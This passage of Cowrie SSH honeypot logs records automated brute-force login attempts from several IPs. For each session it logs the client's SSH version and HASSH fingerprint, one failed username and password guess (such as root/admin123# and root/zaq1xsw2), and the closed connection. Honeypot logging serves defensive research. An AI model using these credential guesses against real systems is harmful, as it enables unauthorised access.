":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:59.219063Z","src_ip":"45.61.187.220","session":"0382282b4f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:59.396204Z","src_ip":"45.61.187.220","session":"0382282b4f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:59.996706Z","src_ip":"107.0.200.227","session":"b8d6388a9c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:00.449190Z","src_ip":"45.61.187.220","session":"0382282b4f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":49056,"dst_ip":"159.203.135.109","dst_port":22,"session":"297e78bc7216","protocol":"ssh","message":"New connection: 81.192.46.49:49056 (159.203.135.109:22) [session: 297e78bc7216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:04.255605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:04.260365Z","src_ip":"81.192.46.49","session":"297e78bc7216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:04.375058Z","src_ip":"81.192.46.49","session":"297e78bc7216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ripple","message":"login attempt [root/ripple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:04.864542Z","src_ip":"81.192.46.49","session":"297e78bc7216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:05.984750Z","src_ip":"81.192.46.49","session":"297e78bc7216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":48686,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3d2cd163694","protocol":"ssh","message":"New connection: 159.195.79.219:48686 (10.17.0.5:22) [session: e3d2cd163694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:14.427778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:14.432350Z","src_ip":"159.195.79.219","session":"e3d2cd163694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:14.522524Z","src_ip":"159.195.79.219","session":"e3d2cd163694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"$BLANKPASS","message":"login attempt [root/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:14.928548Z","src_ip":"159.195.79.219","session":"e3d2cd163694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:16.027297Z","src_ip":"159.195.79.219","session":"e3d2cd163694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":41692,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d430c08b880","protocol":"ssh","message":"New connection: 66.113.163.125:41692 (159.203.135.109:22) [session: 2d430c08b880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:18.120588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:18.125532Z","src_ip":"66.113.163.125","session":"2d430c08b880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:18.161406Z","src_ip":"66.113.163.125","session":"2d430c08b880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:18.343099Z","src_ip":"66.113.163.125","session":"2d430c08b880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:19.383447Z","src_ip":"66.113.163.125","session":"2d430c08b880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":32317,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a31f28deec5","protocol":"ssh","message":"New connection: 175.107.32.186:32317 (10.17.0.5:22) [session: 3a31f28deec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:26.066363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:26.071600Z","src_ip":"175.107.32.186","session":"3a31f28deec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:26.299039Z","src_ip":"175.107.32.186","session":"3a31f28deec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:27.236402Z","src_ip":"175.107.32.186","session":"3a31f28deec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:28.465796Z","src_ip":"175.107.32.186","session":"3a31f28deec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":38320,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc2b125b1150","protocol":"ssh","message":"New connection: 125.16.27.190:38320 (159.203.135.109:22) [session: bc2b125b1150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:28.794689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:28.799679Z","src_ip":"125.16.27.190","session":"bc2b125b1150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:29.119577Z","src_ip":"125.16.27.190","session":"bc2b125b1150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Shadow123","message":"login attempt [root/Shadow123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:30.459606Z","src_ip":"125.16.27.190","session":"bc2b125b1150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:31.782469Z","src_ip":"125.16.27.190","session":"bc2b125b1150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":50782,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b1cf103549","protocol":"ssh","message":"New connection: 92.191.96.70:50782 (10.17.0.5:22) [session: 02b1cf103549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:39.764744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:39.769308Z","src_ip":"92.191.96.70","session":"02b1cf103549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:39.896238Z","src_ip":"92.191.96.70","session":"02b1cf103549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2","message":"login attempt [root/zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:40.421404Z","src_ip":"92.191.96.70","session":"02b1cf103549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:16:41.547743Z","src_ip":"92.191.96.70","session":"02b1cf103549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":47974,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd90e52d1d7","protocol":"ssh","message":"New connection: 45.61.187.220:47974 (159.203.135.109:22) [session: fcd90e52d1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:06.327618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:06.332667Z","src_ip":"45.61.187.220","session":"fcd90e52d1d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:06.387817Z","src_ip":"45.61.187.220","session":"fcd90e52d1d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tejas","password":"tejas@123","message":"login attempt [tejas/tejas@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:06.607612Z","src_ip":"45.61.187.220","session":"fcd90e52d1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:07.655646Z","src_ip":"45.61.187.220","session":"fcd90e52d1d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":57050,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc9933dc7af","protocol":"ssh","message":"New connection: 107.0.200.227:57050 (159.203.135.109:22) [session: 6bc9933dc7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:10.375835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:10.380705Z","src_ip":"107.0.200.227","session":"6bc9933dc7af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:10.415123Z","src_ip":"107.0.200.227","session":"6bc9933dc7af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123321","message":"login attempt [root/abc123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:10.578385Z","src_ip":"107.0.200.227","session":"6bc9933dc7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:11.617119Z","src_ip":"107.0.200.227","session":"6bc9933dc7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":55492,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c4c5ee7542d","protocol":"ssh","message":"New connection: 159.195.79.219:55492 (10.17.0.5:22) [session: 8c4c5ee7542d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:19.020206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:17:19.025981Z","src_ip":"159.195.79.219","session":"8c4c5ee7542d","protocol":"ssh"}
